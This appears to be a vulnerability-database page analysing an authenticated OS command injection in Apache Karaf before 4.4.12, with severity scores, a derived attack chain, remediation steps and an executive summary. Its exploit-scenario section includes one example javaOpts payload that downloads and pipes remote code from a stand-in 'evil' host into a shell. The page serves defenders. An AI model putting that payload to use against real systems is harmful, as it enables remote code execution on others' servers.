Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain authenticated Karaf shell or JMX access
-
DeliveryInvoke instance:create/change-opts (or InstanceMBean op) with crafted javaOpts
-
ExploitShell metacharacters break out of JVM option string
-
Execution/bin/sh executes injected command
-
ImpactArbitrary OS command execution as Karaf process user
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Requires an authenticated principal (PR:L) who can reach Apache Karaf instance-management functionality - specifically the shell commands instance:create, instance:start, instance:restart, or instance:change-opts, or the equivalent InstanceMBean JMX operations (createInstance, startInstance, changeJavaOpts, cloneInstance) - AND the ability to supply a javaOpts value. Exploitation is aggravated by the fail-open default in which unconfigured command scopes are not role-restricted; setting karaf.secured.command.compulsory.roles=admin and restricting instance:* via etc/users.properties closes this. Affects versions before 4.4.12. Limiting factors: attacker must already be authenticated and authorized (or reach unsecured JMX), and javaOpts is expected to come only from trusted operators, so risk is highest where low-privilege users or exposed JMX can invoke these operations. |
| Impact | This is a genuine high-priority issue, though not an emergency. The CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H = 8.8) describes a low-complexity, network-reachable OS command injection yielding full CIA impact, and SSVC corroborates the severity with Technical Impact 'total'. However, the exploitation signals temper the raw score: SSVC Exploitation is 'none' and Automatable is 'no', EPSS is only 0.40% (32nd percentile), the CVE is NOT in CISA KEV, and no public exploit code was identified. The key limiting factor is PR:L - the attacker must already hold an authenticated Karaf principal able to reach the instance:* shell commands or InstanceMBean JMX operations, so this is a privilege-escalation / trusted-operator-abuse vector rather than a pre-auth internet-wide worm candidate. The 'not automatable' SSVC rating is consistent with the low EPSS: exploitation is straightforward but requires per-target authenticated access and command-scope reachability. Net: patch promptly (it converts limited operator/JMX access into arbitrary OS command execution as the Karaf process user), but the absence of KEV/POC and the PR:L requirement mean this is a deliberate-attacker scenario, not mass exploitation. |
| Exploit ScenarioDerived | An attacker with an authenticated Karaf account (or JMX access) that can reach instance-management commands invokes instance:create or instance:change-opts with a javaOpts value containing shell metacharacters, e.g. '-Dx=1; curl http://evil/x | sh'. Because InstanceServiceImpl concatenates javaOpts unquoted into a command string executed via /bin/sh, the injected payload runs as the Karaf process user. No public exploit code was identified at time of analysis, but the technique is trivial to reproduce from the advisory. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv2 – Sep 29, 2026
Authenticated command injection in Apache Karaf's instance-management service lets a principal who can reach the instance:* shell commands (instance:create, instance:start, instance:restart, instance:change-opts) or the equivalent InstancesMBean JMX operations execute arbitrary OS commands as the Karaf process user, because the caller-supplied javaOpts value is concatenated into a launch string that is then handed to /bin/sh or cscript. Affected deployments are Apache Karaf instances before 4.4.12, and exploitation requires an authenticated principal (CVSS 3.1 vector AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H, base 8.8) with the ability to supply javaOpts; the risk is amplified by a fail-open default in which unconfigured command scopes are not role-restricted. EPSS is low (0.40%, ~32nd percentile), CISA SSVC records no known exploitation, and no public exploit code was identified at time of analysis, so this is a high-priority but not an emergency issue.
Earlier versions of this analysis (1)
OS command injection in Apache Karaf's instance-management service allows an authenticated attacker with privileges to invoke instance:* shell commands or InstanceMBean JMX operations to execute arbitrary OS commands as the Karaf process user. The flaw arises because the javaOpts parameter is concatenated unquoted into a command line executed via /bin/sh or cscript, so shell metacharacters are interpreted rather than passed to the JVM. No public exploit code identified at time of analysis; exploitation requires reaching the Karaf console or JMX endpoint and holding rights to run the affected operations, often amplified when the fail-open role gap exists.
RemediationAI
The primary fix is to upgrade to Apache Karaf 4.4.12 or later - vendor-released patch available per the Apache advisory at https://lists.apache.org/thread/olzy0yjw82b20w59vonfjr1x7v5yzocr - which removes the string-concatenation path that allows javaOpts to reach the shell interpreter; verify the deployed Karaf version and any bundled or embedded Karaf runtime is at or above 4.4.12. Until the upgrade can be applied, close the fail-open authorization gap by setting karaf.secured.command.compulsory.roles=admin in etc/system.properties, noting the trade-off that this applies a compulsory role restriction to every command scope that lacks an explicit configuration and can therefore break existing non-admin operational scripts and service accounts that rely on unconfigured scopes. In tandem, tighten etc/users.properties role assignments so that only trusted administrator principals can invoke the instance:* commands and the InstancesMBean operations, accepting the operational trade-off that legitimate delegated operators will need explicit role grants. Where JMX is enabled, remove or firewall the InstancesMBean (and the JMX connector generally) from untrusted networks and enforce JMX authentication and TLS, since an exposed unauthenticated connector effectively removes the authenticated-principal prerequisite; this may disrupt remote management and monitoring tooling and requires a coordinated connector and credential rollout. Finally, treat any javaOpts value supplied to instance:create, instance:start, instance:change-opts or the corresponding MBean calls as untrusted input and restrict the ability to submit it to fully trusted operators, since a patched code path is still only safe if the option source itself is trusted.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The flaw is a classic OS command injection (CWE-78) in Apache Karaf's InstanceServiceImpl. Rather than building the child-Karaf JVM launch invocation as an argument vector, the service assembles the command line by string concatenation and then executes that string through a shell interpreter - /bin/sh on Unix and cscript on Windows. Because the caller-supplied javaOpts value is spliced into that string without quoting or escaping, shell metacharacters such as ;, |, backticks, and $(...) are parsed and evaluated by the shell instead of being passed through to the JVM as JVM options, yielding arbitrary command execution in the security context of the Karaf process user. The vulnerable code path is reachable through the Karaf shell commands instance:create, instance:start, instance:restart and instance:change-opts, and through the equivalent InstanceMBean JMX operations createInstance, startInstance, changeJavaOpts and cloneInstance. The affected component is captured generically by the CPE cpe:2.3:a:apache_software_foundation:apache_karaf:*:*:*:*:*:*:*:*, and EUVD narrows the affected range to releases before 4.4.12. The design expectation is that javaOpts originates only from fully trusted operators, which is why the default command authorization posture - where unconfigured command scopes are not role-restricted (fail-open) - materially aggravates exposure, especially where low-privilege Karaf users or an exposed JMX connector can reach these operations.
Know when Apache Karaf gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Network-reachable shell/JMX with low-complexity injection, but requires an authenticated principal able to reach instance:* commands (PR:L); command execution yields full C/I/A impact within the same host scope.
Primary rating from Vendor (apache).
CVSS VectorVendor: apache
Lifecycle Timeline
3DescriptionCVE.org
Apache Karaf's instance-management service (InstanceServiceImpl) builds the command line used to launch a child Karaf JVM by string concatenation, then executes it through /bin/sh (Unix) or cscript (Windows). The caller-supplied javaOpts value is spliced into that string unquoted. A javaOpts value containing shell metacharacters (;, |, `, $(...)) is interpreted by the shell instead of being passed to the JVM as an option, giving arbitrary OS command execution as the Karaf process user.
Reachable via the shell commands instance:create, instance:start, instance:restart, instance:change-opts, and the equivalent InstanceMBean JMX operations (createInstance, startInstance, changeJavaOpts, cloneInstance).
Mitigation * Set karaf.secured.command.compulsory.roles=admin in etc/system.properties to close the fail-open gap for all unconfigured command scopes.
- Restrict which principals can reach instance:* commands and InstancesMBean via etc/users.properties role assignments.
- Treat javaOpts passed to instance:create/instance:start/instance:change-opts/InstancesMBean as untrusted input only from fully-trusted operators.
Executive ViewAI
Apache Karaf, a runtime platform commonly used to host integration and middleware services, contains an authenticated command injection flaw (CVE-2026-91006) that allows a user with access to its instance-management commands or JMX interface to execute arbitrary operating-system commands as the Karaf service account. Because Karaf processes typically run with service-level privileges and underpin business-critical integrations, a successful attack could compromise or disrupt the entire application stack hosted on that instance. Any team running Karaf versions earlier than 4.4.12 with reachable shell or JMX administration interfaces is in scope, making this a high-priority but not emergency remediation item.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
More in Apache Karaf
View allPrivilege escalation to remote code execution in Apache Karaf before 4.4.12 lets any authenticated shell session - inclu
Authenticated path traversal in Apache Karaf before 4.4.12 allows a principal holding the shipped 'manager' role to writ
Authorization bypass in Apache Karaf before 4.4.12 allows an authenticated JMX client holding any role - including the l
LDAP filter injection in Apache Karaf before 4.4.12 allows a crafted login name to alter the structure of LDAP search fi
Privilege escalation in Apache Karaf versions before 4.4.12 allows any authenticated user of the shell or SSH console -
EUVD-2026-88210
GHSA-2wpj-35wr-vch7
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB